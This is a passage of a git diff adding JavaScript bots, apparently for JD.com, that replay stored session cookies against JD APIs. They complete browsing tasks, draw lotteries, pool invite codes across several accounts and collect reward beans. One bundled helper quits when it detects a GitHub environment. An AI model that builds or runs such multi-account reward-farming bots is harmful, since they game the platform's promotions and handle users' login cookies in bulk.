<(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shangou.js b/jd_shangou.js new file mode 100644 index 0000000..cf5cbbd --- /dev/null +++ b/jd_shangou.js @@ -0,0 +1,168 @@ + +/* +10 10 * * * jd_shangou.js + */ + +const $ = new Env('闪购签到有礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shangou(); + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +async function shangou() { + return new Promise(async (resolve) => { + $.get(taskUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data.subCode == 0){ + console.log(data.msg) + console.log(data.rewardsInfo?.successRewards[3][0]?.quantity+'豆'||'空气') + }else{ + console.log(data.msg) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl() { + return { + url: `https://api.m.jd.com/client.action?client=wh5&clientVersion=1.0.0&osVersion=15.1.1&networkType=wifi&functionId=doInteractiveAssignment&t=1640952130681&body={"itemId":"1","completionFlag":true,"encryptAssignmentId":"2mbhaGkggQQGGM3imR2o3BMqAbFH","encryptProjectId":"5wAnzYsAWyq94z4TQ6N2tjVKmeB","sourceCode":"aceshangou0608","lat":"0.000000","lng":"0.000000"}`, + headers: { + 'Host': 'api.m.jd.com', + 'accept':'application/json, text/plain, */*', + 'Origin': 'https://prodev.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : 